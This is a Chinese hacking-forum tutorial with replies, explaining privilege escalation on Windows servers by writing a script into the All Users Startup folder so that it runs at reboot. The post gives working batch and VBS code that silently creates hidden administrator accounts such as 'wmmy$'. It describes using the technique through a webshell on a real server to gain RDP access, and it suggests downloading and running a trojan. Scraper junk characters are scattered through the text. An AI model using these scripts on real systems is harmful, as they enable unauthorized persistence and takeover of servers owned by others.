返回列表 发帖

[原创教程] 3AST提权课程之启动项提权

大家好,我是完美蚂蚁 今天给大家带来的提权教程是
7 R4 @- H3 p# y. _+ \7 r; P启动 提权
; i& M0 R. z8 U7 s$ g! P( r- WC:\Docume~1\All Users\「开始」菜单\程序\启动6 M& B8 z1 K- G8 C
在这里必须有写入权限 否则此方法无效
5 A; V4 a+ {/ L% \2 F4 g; u7 ~( |因为我是在网吧 这里显示不了路径9 j/ U5 S0 J( C+ B7 X: u) D( P
我去服务器上演示给大家看8 a8 {# y$ ]9 f2 w" c
大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的8 W2 O/ ~( K+ \- I; C& Z% P
文件 从而运行我们的文件
  o& o3 ?: s- c% M这里有两中方式 第一种是批处理
# z& J7 A$ ~- h/ m3 z我们来看下目前 我机器上的用户组
& y" Z* W/ _! z+ ?4 e: l目前我们没有521这个用户
& T1 M9 {5 g4 K0 G' K, o+ e看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示6 y/ ?+ D5 p% g: q! u' |6 ]: N
大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现
8 \# v* |+ Y. U下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的
, r' f) M1 ]; B大家看 已经成功加入了WMMY用户
4 [  E4 g3 J# z" f网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了
# S8 P$ k, \$ s. f/ S9 q8 W1 B当前终端服务端口: 3389" s0 f4 X6 S4 ~' p6 {
系统自动登录功能未开启
, K, ~- Z1 }1 Z$ z4 W3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了/ E. x( j( o' ]7 E6 H8 O
C:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径: B5 H' }% u$ \$ q  L' R) {0 d1 m7 s
第一种隐蔽性太差  我们就用第二种吧: i. a" C+ p- i# b6 v: H
已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去
0 F- y/ ?' s7 E/ u; O从而取得了3389的登陆权限
% b# i1 [6 d* n其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马
  \5 P* ?% ^: e6 T4 o基本原理都差不多  我就不多介绍了+ b! }% ^7 T- H( Z+ U; X
教程结束```
- _7 a: l  w+ ?+ g@echo off
7 ?" q% C/ L5 r; H- Gnet user 521 521 /add% o$ |' j: @: Z+ s4 V
net localgroup administrators 521 /add
& s5 z9 `% ~/ t' X
9 a6 X7 [+ e% \0 I' o; A+ kon Error Resume next
- F0 V  x$ [# nset wshshell=createobject("wscript.shell")
) Q5 l* @7 K* `; P3 aa=wshshell.run("net user wmmy$ 1227 /add",0)! P9 a7 _% \* N
a=wshshell.run("net localgroup administrators wmmy$ /add",0)  [. w" b' x1 \3 h. n3 N  e

$ j4 [& g2 ?: J# K8 V
1 X, @. D! z/ O% q4 v: ?4 ^8 v7 m点击下载
4 q* `5 O- P9 Q# t/ {
2

评分人数

  • 柔肠寸断

  • zhuyahui

顶下小柔
( v1 Z3 ~2 M1 e看看~;P

TOP

顶下~一下加这么多啊~BS下~:lol

TOP

写的不错哦~~~~~  i! u+ q8 @5 J& G! R; T3 [
) b" D$ _( P, F' S& E1 w
昨天有事情没有上了
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

+个分 能要是管理的权限啊~。

TOP

不建议是用纳米~~很垃圾~。

TOP

返回列表